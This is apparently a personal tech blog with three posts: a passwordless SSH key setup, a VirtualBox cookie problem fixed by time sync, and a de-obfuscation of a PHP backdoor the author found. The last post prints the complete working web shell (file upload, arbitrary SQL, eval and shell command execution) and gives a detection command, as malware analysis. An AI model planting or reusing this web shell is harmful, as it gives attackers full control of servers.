7 steps to stop ssh from asking password

If you have to do a lot of ssh, scp for a remote server you might find it annoying that it asks  for password. It asks for password in a separate tty so you can not even automate it. If typing password bothers you too much you can change it so it wont ask you again. We are not turning of any authentication or disabling anything. We’ll just use a key file thats it.

Say your server name is server. And you are in a linux box.  Follow these steps.

  1. In the terminal run
    ssh-keygen 
    Generating public/private rsa key pair.
    Enter file in which to save the key (/home/shiplu/.ssh/id_rsa):
  2. In the ‘Enter file in which to save the key’ prompt type a file name where you want to store the key. Dont just press enter which will overwrite the current key file. Suppose you enter my-key.
  3. It’ll ask for a passphrase twice. Dont put anything. Just press enter twice to make it password less.
  4. You’ll see two files my-key and my-key.pub is created. Now copy the my-key.pub to your server by scp/rcp/rsync. This will be the last time you are copying something with password!
  5. Login to the server. Remember the login username. On the serverrun this command.
    cat /path/to/my-key.pub >> ~/.ssh/authorized_keys

    This command will add the public key in .ssh/authorized_keys in login users home directory (~).

  6. Now from the workstationyou can login without password by
    ssh -i /path/to/my-key -l LOGIN_USERNAME server
  7. For later convenience, put this in your ~/.bashrcfile
    alias server_ssh='ssh -i /path/to/my-key -l LOGIN_USERNAME'
    alias server_scp='scp -i /path/to/my-key -l LOGIN_USERNAME'

Now you can login easily by

server_ssh server

HTTP Cookies from VirtualBox are not sent back

VirtualBox is a great virualization solution. I use it to host my website and test it. It helps it me to set up the very same environment as I use in the server.  So I dont have to worry whether recent change in the web application will break it.  If you are a web developer and not using VirtualBox you should start right now.

Today I faced a weird problem. I could not log in to the web application in the vbox. But I could log in the live server. There was no difference between these two. One is physical server and other was virtual. After observing the http headers carefully I found that php session ids sent from virtual box was not preserved. But for live sever they get preserved. Session id is usually saved in cookie. Its the http clients responsibility to save the cookie and send it back along with successive request. I tested it in curl. it was not saving cooking. Google chrome was also not saving cookie. Only Firefox was saving.

At first I though its a problem of Google Chrome. I was almost submiting a bug to Chrome team. But then I tested in curl and it was not working. Two clients can not have same bug. So this should a problem of my host.  I compared all the headers sent by both live server and virtual box server side by side. And guess what I found?  The expires time for a cookie sent by virutal server was in past time. So this cookie was expired when generated.  It means my virtual box servers time was not in sync. I have to synchronize it with time server. The following command is enough for this.

ntpdate pool.ntp.org

After this everything was working smooth.  I always sync the time when i start the vbox server. If you boot your server time will be automatically synchronized. But if you save the state and later resume it you have to synchronise it manually. I never missed synchronizing. Today I forgot it. So I never think about it.  I checked last 30 revision from my svn repository to track down the problem.

My suggestion, Always synchronize the time of a vbox server if you resume it. Use the command above for this.

Now a new question arise. Why Firefox used a expired cookie?  I’ll verify it later.

De-obfuscate a backdoor PHP script

Today (almost 1 hour ago) I got an script encoded. At first look I though its one of those wordpress footer files which are obfuscated by theme makers.  So I started to decode it. The process of decoding is very simple. Mainly by replacing “eval” with “echo”.  I am not gonna describe the detailed process.

I use this code to decode it.

$contents = file_get_contents("php://stdin");$create_function = '\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e';
$base64_decode ='\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65';
if(strpos($contents, $create_function)!==false){
        echo "create_function() invocation found! \n";
        if(strpos($contents, $base64_decode)!==false){
                echo "base64_decode() invocation found! \n";
        }
}

// finding base64 pattern

preg_match('/"([a-zA-Z0-9\/+]{500,}[=]{0,2})"/', $contents, $m);
$data = base64_decode($m[1]);
eval(str_replace('eval', 'echo', $data));

And here is the result.

error_reporting(E_ERROR | E_WARNING | E_PARSE);
ini_set('display_errors', "0")
if ($_POST["p"] != "") {
        $_COOKIE["p"] = $_POST["p"];
        setcookie("p", $_POST["p"], time() + 3600);
}

if (md5($_COOKIE["p"]) != "ca3f717a5e53f4ce47b9062cfbfb2458") {
        echo "<form method=post>";
        echo "<input type=text name=p value='' size=50>";
        echo "<input type=submit name=B_SUBMIT value='Check'>";
        echo "</form>";
        exit;
}

if ($_POST["action"] == "upload") {

    $l=$_FILES["filepath"]["tmp_name"];
    $newpath=$_POST["newpath"];
    if ($newpath!="") move_uploaded_file($l,$newpath);
    echo "done";

} else if ($_POST["action"] == "sql") {

    $query = $_POST["query"];
    $query = str_replace("\'","'",$query);
    $lnk = mysql_connect($_POST["server"], $_POST["user"], $_POST["pass"]) or die ('Not connected : ' . mysql_error());
    mysql_select_db($_POST["db"], $lnk) or die ('Db failed: ' . mysql_error());
    mysql_query($query, $lnk) or die ('Invalid query: ' . mysql_error());
    mysql_close($lnk);
    echo "done<br><pre>$query</pre>";

} else if ($_POST["action"] == "runphp") {

    eval(base64_decode($_POST["cmd"]));

} else {

    $disablefunc = @ini_get("disable_functions");
    if (!empty($disablefunc)) {
        $disablefunc = str_replace(" ","",$disablefunc);
        $disablefunc = explode(",",$disablefunc);
    } else $disablefunc = array();

    function myshellexec($cmd) {
        global $disablefunc;
        $result = "";
        if (!empty($cmd)) {
            if (is_callable("exec") and !@in_array("exec",$disablefunc)) {@exec($cmd,$result); $result = @join("\n",$result);}
            elseif (($result = `$cmd`) !== FALSE) {}
            elseif (is_callable("system") and !@in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
            elseif (is_callable("passthru") and !@in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
            elseif (is_resource($fp = @popen($cmd,"r"))) {
                $result = "";
                while(!feof($fp)) {$result .= @fread($fp,1024);}
                @pclose($fp);
            }
        }
        return $result;
    }
        $cmd = stripslashes($_POST["cmd"]);
        $cmd_enc = stripslashes($_POST["cmd_enc"]);
        if ($_POST["enc"]==1){
                $cmd=base64_decode($cmd_enc);
        }
        ?>
<script language=javascript type="text/javascript">
<!--
var END_OF_INPUT = -1;
var base64Chars = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/');
var reverseBase64Chars = new Array();
for (var i=0; i < base64Chars.length; i++){
    reverseBase64Chars[base64Chars[i]] = i;
}
var base64Str;
var base64Count;
function setBase64Str(str){
    base64Str = str;
    base64Count = 0;
}
function readBase64(){
    if (!base64Str) return END_OF_INPUT;
    if (base64Count >= base64Str.length) return END_OF_INPUT;
    var c = base64Str.charCodeAt(base64Count) & 0xff;
    base64Count++;
    return c;
}
function encodeBase64(str){
    setBase64Str(str);
    var result = '';
    var inBuffer = new Array(3);
    var lineCount = 0;
    var done = false;
    while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){
        inBuffer[1] = readBase64();
        inBuffer[2] = readBase64();
        result += (base64Chars[ inBuffer[0] >> 2 ]);
        if (inBuffer[1] != END_OF_INPUT){
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
            if (inBuffer[2] != END_OF_INPUT){
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
                result += (base64Chars [inBuffer[2] & 0x3F]);
            } else {
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]);
                result += ('=');
                done = true;
            }
        } else {
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
            result += ('=');
            result += ('=');
            done = true;
        }
        lineCount += 4;
        if (lineCount >= 76){
            result += ('\n');
            lineCount = 0;
        }
    }
    return result;
}
function encodeIt(f){
        l=encodeBase64(f.cmd.value);
        f.cmd_enc.value=l;
        f.cmd.value="";
        f.enc.value=1;
        f.submit();
}
//--></script>
        <?

    echo "<form method=post action='' onSubmit='encodeIt(this);return false;'>";
    echo "<input type=text name=cmd value=\"".str_replace("\"","&quot;",$cmd)."\" size=150>";
    echo "<input type=hidden name=enc value='0'>";
    echo "<input type=hidden name=cmd_enc value=''>";
    echo "<input type=submit name=B_SUBMIT value='Go'>";
    echo "</form>";
    if ($cmd != "") {
        echo "<pre>";
        $cmd=stripslashes($cmd);
        echo "Executing $cmd \n";
        echo myshellexec("$cmd");
        echo "</pre>";
        exit;
    }
}

If you look at the code carefully, you’ll notice its a backdoor.

  • It can upload arbitrary files
  • It can execute mysql quries
  • Its can shell command
If you want to check if your  server has such script  run the following command in shell in your web root.
find . -iname '*.php' -size 28k -exec egrep '\\x63\\x72\\x65\\x61\\x74\\x65\\x5f\\x66\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e' -o {} \;

Here “\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e” is hex encoded “create_function” string. This is a PHP function that creates function dynamically from string.